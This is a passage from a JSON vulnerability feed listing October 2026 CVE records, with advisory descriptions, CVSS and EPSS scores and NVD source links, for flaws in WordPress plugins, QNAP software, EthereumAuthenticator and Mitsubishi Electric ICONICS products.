Whisper INC Link Whisper Free link-whisper allows Blind SQL...","summary":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Link Whisper INC Link Whisper Free link-whisper allows Blind SQL Injection.This issue affects Link Whisper Free: from n/a through 0.9.7.","detail":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in Link Whisper INC Link Whisper Free link-whisper allows Blind SQL Injection.This issue affects Link Whisper Free: from n/a through 0.9.7.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T13:17:11.917Z","updatedAt":"2026-10-15T15:17:27.873Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109688","asOf":"2026-10-15T15:17:27.873Z"},"epss":{"probability":0.00229,"percentile":0.13629,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109688&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109688","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109688","type":"primary","publishedAt":"2026-10-15T13:17:11.917Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109688&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109688, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109686","cveId":"CVE-2026-109686","aliases":[],"kind":"vulnerability","title":"Deserialization of Untrusted Data vulnerability in Link Whisper INC Link Whisper Free link-whisper allows Object Injection.This issue affects Link Whisper Free: from n/a through...","summary":"Deserialization of Untrusted Data vulnerability in Link Whisper INC Link Whisper Free link-whisper allows Object Injection.This issue affects Link Whisper Free: from n/a through 0.9.7.","detail":"Deserialization of Untrusted Data vulnerability in Link Whisper INC Link Whisper Free link-whisper allows Object Injection.This issue affects Link Whisper Free: from n/a through 0.9.7.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T13:17:11.540Z","updatedAt":"2026-10-15T16:17:44.390Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109686","asOf":"2026-10-15T16:17:44.390Z"},"epss":{"probability":0.00304,"percentile":0.22978,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109686&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109686","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109686","type":"primary","publishedAt":"2026-10-15T13:17:11.540Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109686&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109686, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109694","cveId":"CVE-2026-109694","aliases":[],"kind":"vulnerability","title":"Incorrect Privilege Assignment vulnerability in WP ManageNinja LLC Fluent CRM fluent-crm allows Privilege Escalation.This issue affects Fluent CRM: from n/a through 3.2.5.","summary":"Incorrect Privilege Assignment vulnerability in WP ManageNinja LLC Fluent CRM fluent-crm allows Privilege Escalation.This issue affects Fluent CRM: from n/a through 3.2.5.","detail":"Incorrect Privilege Assignment vulnerability in WP ManageNinja LLC Fluent CRM fluent-crm allows Privilege Escalation.This issue affects Fluent CRM: from n/a through 3.2.5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T11:17:24.537Z","updatedAt":"2026-10-15T15:17:27.977Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-109694","asOf":"2026-10-15T15:17:27.977Z"},"epss":{"probability":0.00261,"percentile":0.1763,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-109694&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-109694","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-109694","type":"primary","publishedAt":"2026-10-15T11:17:24.537Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-109694&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-109694, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-108497","cveId":"CVE-2026-108497","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in TMS Amelia ameliabooking allows SQL Injection.This issue affects Amelia: from...","summary":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in TMS Amelia ameliabooking allows SQL Injection.This issue affects Amelia: from n/a through 2.4.10.","detail":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in TMS Amelia ameliabooking allows SQL Injection.This issue affects Amelia: from n/a through 2.4.10.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T11:17:19.823Z","updatedAt":"2026-10-16T15:17:06.360Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-108497","asOf":"2026-10-16T15:17:06.360Z"},"epss":{"probability":0.00229,"percentile":0.13629,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-108497&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-108497","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108497","type":"primary","publishedAt":"2026-10-15T11:17:19.823Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108497&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108497, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-50619","cveId":"CVE-2026-50619","aliases":[],"kind":"vulnerability","title":"A path traversal vulnerability has been reported to affect Qsirch.","summary":"A path traversal vulnerability has been reported to affect Qsirch. If exploited, the vulnerability could allow remote attackers to read the contents of unexpected files or system data.\n\nWe have already fixed the vulnerability in the following version:\nQsirch 7.0.3.0 and later","detail":"A path traversal vulnerability has been reported to affect Qsirch. If exploited, the vulnerability could allow remote attackers to read the contents of unexpected files or system data.\n\nWe have already fixed the vulnerability in the following version:\nQsirch 7.0.3.0 and later\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T10:17:15.220Z","updatedAt":"2026-10-15T16:32:39.893Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-50619","asOf":"2026-10-15T16:32:39.893Z"},"epss":{"probability":0.00429,"percentile":0.36873,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-50619&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-50619","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-50619","type":"primary","publishedAt":"2026-10-15T10:17:15.220Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-50619&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-50619, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-50612","cveId":"CVE-2026-50612","aliases":[],"kind":"vulnerability","title":"An unix symbolic link (symlink) following vulnerability has been reported to affect QuMagie.","summary":"An unix symbolic link (symlink) following vulnerability has been reported to affect QuMagie. If a remote attacker gains a user account, they can then exploit the vulnerability to compromise the security of the system.\n\nWe have already fixed the vulnerability in the following version:\nQuMagie 2.9.2 and later","detail":"An unix symbolic link (symlink) following vulnerability has been reported to affect QuMagie. If a remote attacker gains a user account, they can then exploit the vulnerability to compromise the security of the system.\n\nWe have already fixed the vulnerability in the following version:\nQuMagie 2.9.2 and later\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T10:17:15.090Z","updatedAt":"2026-10-15T16:32:39.893Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-50612","asOf":"2026-10-15T16:32:39.893Z"},"epss":{"probability":0.00378,"percentile":0.31475,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-50612&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-50612","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-50612","type":"primary","publishedAt":"2026-10-15T10:17:15.090Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-50612&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-50612, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-47786","cveId":"CVE-2026-47786","aliases":[],"kind":"vulnerability","title":"An OS command injection vulnerability has been reported to affect HybridDesk Station.","summary":"An OS command injection vulnerability has been reported to affect HybridDesk Station. If exploited, the vulnerability could allow remote attackers to execute arbitrary commands.\n\nWe have already fixed the vulnerability in the following version:\nHybridDesk Station 4.2.23 and later\nHybridDesk Station 4.3.4 and later","detail":"An OS command injection vulnerability has been reported to affect HybridDesk Station. If exploited, the vulnerability could allow remote attackers to execute arbitrary commands.\n\nWe have already fixed the vulnerability in the following version:\nHybridDesk Station 4.2.23 and later\nHybridDesk Station 4.3.4 and later\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T10:17:14.720Z","updatedAt":"2026-10-15T16:32:39.893Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-47786","asOf":"2026-10-15T16:32:39.893Z"},"epss":{"probability":0.0107,"percentile":0.64616,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-47786&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-47786","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-47786","type":"primary","publishedAt":"2026-10-15T10:17:14.720Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-47786&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-47786, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-34006","cveId":"CVE-2026-34006","aliases":[],"kind":"vulnerability","title":"A missing authentication for critical function vulnerability has been reported to affect sMedio DTCP MOVE.","summary":"A missing authentication for critical function vulnerability has been reported to affect sMedio DTCP MOVE. If exploited, the vulnerability could allow remote attackers to gain access to the system.\n\nWe have already fixed the vulnerability in the following version:\nsMedio DTCP MOVE 1.4.5 and later","detail":"A missing authentication for critical function vulnerability has been reported to affect sMedio DTCP MOVE. If exploited, the vulnerability could allow remote attackers to gain access to the system.\n\nWe have already fixed the vulnerability in the following version:\nsMedio DTCP MOVE 1.4.5 and later\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T10:17:13.187Z","updatedAt":"2026-10-15T16:32:39.893Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-34006","asOf":"2026-10-15T16:32:39.893Z"},"epss":{"probability":0.00395,"percentile":0.33433,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-34006&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-34006","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-34006","type":"primary","publishedAt":"2026-10-15T10:17:13.187Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-34006&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-34006, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-19863","cveId":"CVE-2026-19863","aliases":[],"kind":"vulnerability","title":"An unauthenticated client may access certain protected resources when using EthereumAuthenticator if the request path contains the configured login path.","summary":"An unauthenticated client may access certain protected resources when using EthereumAuthenticator if the request path contains the configured login path.\n\n\n\nThis is caused by the authenticator using an unanchored substring match when identifying the login page. If the login path appears later within a protected request path, the request may be treated as the login page and its authentication or role requirement replaced with ALLOWED.\n\n\n\nExploitation requires the protected resource path to contain the configured login path as a later segment. Explicitly FORBIDDEN routes are not affected.","detail":"An unauthenticated client may access certain protected resources when using EthereumAuthenticator if the request path contains the configured login path.\n\n\n\nThis is caused by the authenticator using an unanchored substring match when identifying the login page. If the login path appears later within a protected request path, the request may be treated as the login page and its authentication or role requirement replaced with ALLOWED.\n\n\n\nExploitation requires the protected resource path to contain the configured login path as a later segment. Explicitly FORBIDDEN routes are not affected.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T10:17:12.497Z","updatedAt":"2026-10-15T14:41:34.110Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-19863","asOf":"2026-10-15T14:41:34.110Z"},"epss":{"probability":0.00503,"percentile":0.42757,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-19863&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-19863","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-19863","type":"primary","publishedAt":"2026-10-15T10:17:12.497Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-19863&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-19863, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-16438","cveId":"CVE-2026-16438","aliases":[],"kind":"vulnerability","title":"Incorrect Privilege Assignment vulnerability in Mitsubishi Electric GENESIS64 versions 10.97.3 and prior, ICONICS Suite versions 10.97.3 and prior, Hyper Historian versions...","summary":"Incorrect Privilege Assignment vulnerability in Mitsubishi Electric GENESIS64 versions 10.97.3 and prior, ICONICS Suite versions 10.97.3 and prior, Hyper Historian versions 10.97.3 and prior, AnalytiX versions 10.97.3 and prior, MobileHMI 10.97.3 and prior, MC Works64 all versions, Mitsubishi Electric Iconics Digital Solutions GENESIS64 versions 10.97.3 and prior, ICONICS Suite versions 10.97.3 and prior, Hyper Historian versions 10.97.3 and prior, AnalytiX versions 10.97.3 and prior, and MobileHMI 10.97.3 and prior allows an attacker who can log in using the same administrator account for the affected products to launch and operate DCOM objects locally or remotely. During installation, the installers of the affected products unnecessarily grant default DCOM permissions to the administrator account of the affected products. Users with that administrator accounts can locally or remotely launch and operate DCOM objects that should require UAC elevation. As a result, the attacker may disclose, tamper with, destroy, or delete internal information, or cause the affected system to enter a denial-of-service (DoS) condition.","detail":"Incorrect Privilege Assignment vulnerability in Mitsubishi Electric GENESIS64 versions 10.97.3 and prior, ICONICS Suite versions 10.97.3 and prior, Hyper Historian versions 10.97.3 and prior, AnalytiX versions 10.97.3 and prior, MobileHMI 10.97.3 and prior, MC Works64 all versions, Mitsubishi Electric Iconics Digital Solutions GENESIS64 versions 10.97.3 and prior, ICONICS Suite versions 10.97.3 and prior, Hyper Historian versions 10.97.3 and prior, AnalytiX versions 10.97.3 and prior, and MobileHMI 10.97.3 and prior allows an attacker who can log in using the same administrator account for the affected products to launch and operate DCOM objects locally or remotely. During installation, the installers of the affected products unnecessarily grant default DCOM permissions to the administrator account of the affected products. Users with that administrator accounts can locally or remotely launch and operate DCOM objects that should require UAC elevation. As a result, the attacker may disclose, tamper with, destroy, or delete internal information, or cause the affected system to enter a denial-of-service (DoS) condition.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T09:17:17.087Z","updatedAt":"2026-10-16T06:17:11.153Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-16438","asOf":"2026-10-16T06:17:11.153Z"},"epss":{"probability":0.00253,"percentile":0.16663,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-16438&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-16438","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-16438","type":"primary","publishedAt":"2026-10-15T09:17:17.087Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-16438&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-16438, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-16436","cveId":"CVE-2026-16436","aliases":[],"kind":"vulnerability","title":"Weak Password Recovery Mechanism for Forgotten Password vulnerability in Mitsubishi Electric GENESIS versions 11.03 and prior, GENESIS64 versions 10.97.3 and prior, ICONICS Suite...","summary":"Weak Password Recovery Mechanism for Forgotten Password vulnerability in Mitsubishi Electric GENESIS versions 11.03 and prior, GENESIS64 versions 10.97.3 and prior, ICONICS Suite versions 10.97.3 and prior, Hyper Historian versions 10.97.3 and prior, AnalytiX versions 10.97.3 and prior, MobileHMI 10.97.3 and prior, IoTWorX 10.97.3 and prior, MC Works64 all versions, GENESIS32 all versions, BizViz all versions, Mitsubishi Electric Iconics Digital Solutions GENESIS versions 11.03 and prior, GENESIS64 versions 10.97.3 and prior, ICONICS Suite versions 10.97.3 and prior, Hyper Historian versions 10.97.3 and prior, AnalytiX versions 10.97.3 and prior, MobileHMI 10.97.3 and prior, IoTWorX 10.97.3 and prior, GENESIS32 all versions, and BizViz all versions allows a remote attacker to unlock the system by obtaining the challenge response by some means. The challenge response used to unlock the system is common to all users and fixed. As a result, the attacker may disclose, tamper with, destroy, or delete internal information, or cause the affected system to enter a denial-of-service (DoS) condition.","detail":"Weak Password Recovery Mechanism for Forgotten Password vulnerability in Mitsubishi Electric GENESIS versions 11.03 and prior, GENESIS64 versions 10.97.3 and prior, ICONICS Suite versions 10.97.3 and prior, Hyper Historian versions 10.97.3 and prior, 